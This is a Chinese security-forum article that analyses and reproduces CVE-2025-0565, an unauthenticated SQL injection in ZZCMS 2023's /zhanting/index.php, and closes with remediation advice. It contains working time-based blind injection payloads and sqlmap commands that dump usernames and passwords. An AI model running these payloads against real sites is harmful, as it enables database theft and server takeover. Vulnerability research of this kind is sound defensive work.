问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-0565 ZZCMS index.php SQL注入漏洞分析
漏洞分析
专注于招商加盟行业的内容管理系统ZZCMS 2023版本存在前台sql注入
一、漏洞简介 ------ ZZCMS(站长招商网内容管理系统)是一款专注于招商加盟行业的内容管理系统(CMS),由郑州市创美时信息技术有限公司于2008年推出。其核心定位是为用户提供高效搭建招商类网站(如医药、化妆品、副食等行业加盟平台)的解决方案,支持商机发布、企业展厅生成、会员分级管理等特色功能。ZZCMS 2023版本 index.php接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。  二、影响版本 ------ ZZCMS 2023 三、漏洞原理分析 -------- 在/zhanting/top.php中发现`$_REQUEST['id']` 直接赋给了 `$id`,且本该通过 `checkid($id,1)` 或者 `intval()` 强制 `$id` 只能是数字的校验被注释掉了,说明`$id`是用户输入的可控参数,且没有过滤  ```php $id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0; // 未过滤直接赋值 ``` 安全写法应为 ```php $id = intval($_REQUEST['id']); // 强制转为整数 ``` 继续向下审计代码,查看 `$id`的引用,发现在if分支中,`$id`被拼进了 SQL 语句,且通过`$rs\=query($sql)`执行sql语句  ```php $sql = "select * from zzcms_user where id='$id'"; // 动态拼接SQL ``` query() 中封装了 mysqli\_query() 去执行SQL语句,没有任何使用 PDO 或 mysqli 的绑定参数(prepared statements)机制  这样我们可以通过构造 id 的值插入sql注入语句。 接下来查找id参数输入的具体路径,在/zhanting/index.php中发现`$linkliuyan\=siteurl."/zhanting/index.php?id=".$id."#dl\_liuyan"`,猜测路径构造`/zhanting/index.php?id=`可以将输入id的值赋给 `$id`,并拼进SQL语句中进行查询,从而造成sql注入。  但是通过这段代码逻辑,即使注入了一个 SQL 语句(比如 `UNION SELECT …`),只要查询到的不是原表结构的真实用户,`mysqli_num_rows()` 也可能为 0,直接报错“用户不存在”,控制的 SELECT 子句其实不会影响`$row["id"]`,所以**看不到**任何结果,所有异常都被 `showmsg()` 吞掉了,不会爆出 SQL 错误信息,因此只能尝试时间盲注。  四、环境搭建 ------ ### 1、源码下载 官网下载:<http://www.zzcms.net/download/zzcms2023.zip> 通过宝塔或者phpstudy部署 ### 2、源码部署 将源码放到phpstudy的根目录下,启动phpstudy的apache和mysql,访问/install/index.php,根据提示安装即可     这里因为之前安装过了所以才有这个提示,正常第一次会提示安装成功  五、漏洞复现 ------ ### 1、mysql的短路逻辑 尝试用时间盲注的语句进行探测时,发现经典的时间盲注语句`/zhanting/index.php?id=1' AND IF(1=1, SLEEP(10), 0) --+`竟然没有触发延时  为了探究原因,对生成的SQL语句进行了深入分析: ```sql select * from zzcms_user where id='1' AND IF(1=1, SLEEP(10), 0) --+' ``` 原来,**在 `WHERE` 子句中,多个表达式通过 `AND` 连接时,数据库通常会采用短路逻辑(Short-Circuit Evaluation)来优化计算:如果某个表达式为 `FALSE`,则后续的表达式无需再计算,因为整个条件已经确定为 `FALSE`**,我们自己搭建的靶场数据库中还没有值,因此`select * from zzcms_user where id='1'`的值查询为false后就不会再执行后面的延时查询语句了`AND IF(1=1, SLEEP(10), 0) --+` 为了验证,我们手工往数据库的zzcms\_user表中插入一条数据试试  插入后成功执行了延时  但是实际渗透中我们无法确认数据库中是否有值,所以我们可以用其它方式绕过mysql的短路优化,从而实现通过时间盲注注入出数据库信息最终写shell的目的:**将sleep函数放入到`union select`中联合查询**,或者**把 `SLEEP()` 放到查询投影(`SELECT` 列表)或子查询里(如`id=1' AND (SELECT 3290 FROM (SELECT(SLEEP(5)))XgWV) AND 'sZoq'='sZoq`)**,就能强制让数据库在计算列值或子查询结果时真正跑延时函数 ### 2、将sleep函数放入到`union select`中联合查询 payload: ```php /zhanting/index.php?id=1%27union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,sleep(5)+--+x&skin= ```  ```php /zhanting/index.php?id=1%27union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,sleep(10)+--+x&skin= ```  ### 3、把 `SLEEP()` 放到查询投影(`SELECT` 列表)或子查询里 payload: ```php /zhanting/index.php?id=1' AND (SELECT 3290 FROM (SELECT(SLEEP(5)))XgWV) AND 'sZoq'='sZoq ```  ### 4、跑数据库名、表名、列名、字段值 这里我们直接用sqlmap来跑 跑数据库名 ```php python sqlmap.py -u http://172.24.1.98/zzcms2023/zhanting/index.php?id=1* --dbs ```  跑zzcms数据库表名 ```php python sqlmap.py -u http://172.24.1.98/zzcms2023/zhanting/index.php?id=1* -D zzcms --tables ```  跑zzcms\_user表的列名 ```php python sqlmap.py -u http://172.24.1.98/zzcms2023/zhanting/index.php?id=1* -D zzcms -T zzcms_user --columns ```  最终跑出username和passwd的值 ```php python sqlmap.py -u http://172.24.1.98/zzcms2023/zhanting/index.php?id=1* -D zzcms -T zzcms_user -C username,password --dump ```  六、修复建议 ------ 1、升级至官网最新版本http://www.zzcms.net/download ,最新版本中已经修复该问题。 2、/zhanting/top.php 中id值的获取增加整数校验:`$id = isset($_REQUEST['id']) ? intval($_REQUEST['id']) : 0;`。 3、暂时屏蔽该路径`/zhanting/index.php`。 七、总结 ---- 总的来说又是一个输入参数没有过滤直接拼接查询语句引起的sql注入,没有使用预编译,代码审计和复现过程中还对mysql的短路逻辑以及如何绕过短路逻辑有了更深理解。
发表于 2025-07-24 09:40:24
阅读 ( 310 )
分类:
CMS
1 推荐
收藏
0 条评论
请先
登录
后评论
xiaoyu007
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!